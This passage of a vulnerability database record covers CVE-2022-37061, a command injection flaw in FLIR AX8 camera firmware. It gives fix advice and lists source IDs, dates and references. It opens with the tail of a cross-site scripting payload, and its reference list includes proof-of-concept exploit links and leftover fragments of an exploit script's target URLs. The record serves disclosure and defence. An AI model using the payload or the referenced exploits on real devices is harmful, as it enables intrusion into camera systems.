onerror=alert(String.fromCharCode(97,108,101,114,116,40,39,116,101,115,116,39,41,59));\u003e.run\n\n\n### Recommendations for how to fix the 4 vulnerabilities:\n\n* Vulnerability 1: The variable `$_POST[\"id\"]`, line 65 in the file `/FLIR/usr/www/res.php`, must be sanitized using the function `intval()` and will remove any character other than integer value. `escapeshellcmd()` and `escapeshellarg()` must be also used to escapes any characters in a string that might be used to execute arbitrary commands. \n\nMore info: \nhttps://www.php.net/intval\nhttps://www.php.net/manual/en/function.escapeshellcmd\nhttps://www.php.net/manual/en/function.escapeshellarg\n\n\n* Vulnerability 2: The variable `$file_path`, line 39 in the file `/FLIR/usr/www/download.php`, must be sanitized using the function `pathinfo()` but also use a hard coded directory path, in case you need to manage several directories set a whitelist of all allowed directories and use multiple conditions. \n\nMore info:\nhttps://www.php.net/manual/en/function.pathinfo\n\n* Vulnerability 3: Define a whitelist of all directories that a user is allowed to access. This can be added to the Lighttpd server configuration file, in `/etc/lighttpd.conf`. \n\nMore info:\nhttps://www.cyberciti.biz/tips/howto-lighttpd-enable-disable-directory-listing.html\n\n* Vulnerability 4: To protect against filename XSS attack you can use a regex that will parse the filename to leave only numbers and letters. \n\nMore info: \nhttps://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n### Reference:\nhttps://www.flir.com/products/ax8-automation/\n\n### Security researchers:\n* [Thomas Knudsen] (https://www.linkedin.com/in/thomasjknudsen)\n* [Samy Younsi] (https://www.linkedin.com/in/samy-younsi) \n\n\n\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "db": "PACKETSTORM",
        "id": "149789"
      },
      {
        "db": "PACKETSTORM",
        "id": "168116"
      }
    ],
    "trust": 1.89
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.zeroscience.mk/codes/flir_ax8_root.txt",
        "trust": 0.1,
        "type": "poc"
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2022-37061",
        "trust": 3.3
      },
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491",
        "trust": 2.6
      },
      {
        "db": "PACKETSTORM",
        "id": "168116",
        "trust": 2.5
      },
      {
        "db": "PACKETSTORM",
        "id": "169701",
        "trust": 2.4
      },
      {
        "db": "PACKETSTORM",
        "id": "168114",
        "trust": 2.4
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925",
        "trust": 0.8
      },
      {
        "db": "CXSECURITY",
        "id": "WLB-2022080059",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378",
        "trust": 0.6
      },
      {
        "db": "PACKETSTORM",
        "id": "149789",
        "trust": 0.2
      },
      {
        "db": "EXPLOIT-DB",
        "id": "45602",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "db": "PACKETSTORM",
        "id": "149789"
      },
      {
        "db": "PACKETSTORM",
        "id": "168116"
      },
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ]
  },
  "id": "VAR-202208-1439",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VARIoT devices database",
        "id": null
      }
    ],
    "trust": 1.0
  },
  "last_update_date": "2023-12-18T11:55:45.672000Z",
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-78",
        "trust": 1.0
      },
      {
        "problemtype": "OS Command injection (CWE-78) [NVD evaluation ]",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 3.0,
        "url": "http://packetstormsecurity.com/files/168116/flir-ax8-1.46.16-traversal-access-control-command-injection-xss.html"
      },
      {
        "trust": 3.0,
        "url": "http://packetstormsecurity.com/files/169701/flir-ax8-1.46.16-remote-command-injection.html"
      },
      {
        "trust": 2.5,
        "url": "https://www.flir.com/products/ax8-automation/"
      },
      {
        "trust": 2.5,
        "url": "https://www.zeroscience.mk/en/vulnerabilities/zsl-2018-5491.php"
      },
      {
        "trust": 2.4,
        "url": "http://packetstormsecurity.com/files/168114/flix-ax8-1.46.16-remote-command-execution.html"
      },
      {
        "trust": 2.4,
        "url": "https://gist.github.com/nwqda/9e16852ab7827dc62b8e44d6180a6899"
      },
      {
        "trust": 0.9,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2022-37061"
      },
      {
        "trust": 0.6,
        "url": "https://cxsecurity.com/cveshow/cve-2022-37061/"
      },
      {
        "trust": 0.6,
        "url": "https://cxsecurity.com/issue/wlb-2022080059"
      },
      {
        "trust": 0.1,
        "url": "https://www.flir.com/security/best-practices-for-cybersecurity/"
      },
      {
        "trust": 0.1,
        "url": "https://www.flir.com/globalassets/security/flir-pro-security-cyber-hardening-guide.pdf"
      },
      {
        "trust": 0.1,
        "url": "https://www.flir.com/globalassets/security/cybersecurity-bulletin-10-12-18.pdf"
      },
      {
        "trust": 0.1,
        "url": "https://www.exploit-db.com/exploits/45602/"
      },
      {
        "trust": 0.1,
        "url": "https://packetstormsecurity.com/files/149789"
      },
      {
        "trust": 0.1,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/151286"
      },
      {
        "trust": 0.1,
        "url": "http://vfocus.net/art/20181016/14873.html"
      },
      {
        "trust": 0.1,
        "url": "https://fortiguard.com/encyclopedia/ips/47031"
      },
      {
        "trust": 0.1,
        "url": "http://\u0027+sys.argv[1]+\u0027/res.php\u0027"
      },
      {
        "trust": 0.1,
        "url": "http://\u0027+sys.argv[1]+\u0027/palette.php\u0027"
      },
      {
        "trust": 0.1,
        "url": "https://www.flir.com"
      },
      {
        "trust": 0.1,
        "url": "https://cheatsheetseries.owasp.org/cheatsheets/cross_site_scripting_prevention_cheat_sheet.html"
      },
      {
        "trust": 0.1,
        "url": "https://www.php.net/intval"
      },
      {
        "trust": 0.1,
        "url": "https://www.linkedin.com/in/thomasjknudsen)"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2022-37062"
      },
      {
        "trust": 0.1,
        "url": "https://www.php.net/manual/en/function.pathinfo"
      },
      {
        "trust": 0.1,
        "url": "https://www.php.net/manual/en/function.escapeshellcmd"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2022-37060"
      },
      {
        "trust": 0.1,
        "url": "https://www.linkedin.com/in/samy-younsi)"
      },
      {
        "trust": 0.1,
        "url": "https://www.cyberciti.biz/tips/howto-lighttpd-enable-disable-directory-listing.html"
      },
      {
        "trust": 0.1,
        "url": "https://www.php.net/manual/en/function.escapeshellarg"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2022-37063"
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "db": "PACKETSTORM",
        "id": "149789"
      },
      {
        "db": "PACKETSTORM",
        "id": "168116"
      },
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "db": "PACKETSTORM",
        "id": "149789"
      },
      {
        "db": "PACKETSTORM",
        "id": "168116"
      },
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-10-14T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "date": "2023-09-22T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "date": "2018-10-15T16:42:47",
        "db": "PACKETSTORM",
        "id": "149789"
      },
      {
        "date": "2022-08-19T19:24:22",
        "db": "PACKETSTORM",
        "id": "168116"
      },
      {
        "date": "2022-08-18T18:15:08.317000",
        "db": "NVD",
        "id": "CVE-2022-37061"
      },
      {
        "date": "2022-08-18T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-11-20T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "date": "2023-09-22T08:25:00",
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "date": "2022-12-09T15:32:37.407000",
        "db": "NVD",
        "id": "CVE-2022-37061"
      },
      {
        "date": "2022-11-08T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "149789"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "FLIR\u00a0Systems,\u00a0Inc.\u00a0 of \u00a0flir\u00a0ax8\u00a0 in the firmware \u00a0OS\u00a0 Command injection vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "operating system commend injection",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.